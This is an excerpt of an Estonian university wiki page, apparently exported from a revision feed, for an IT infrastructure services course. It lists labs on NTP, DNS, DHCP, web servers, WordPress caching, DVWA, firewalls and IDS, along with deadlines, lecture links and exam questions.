Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88408</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88408"/>
		<updated>2015-05-11T09:24:27Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* Dokumentatsioon */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
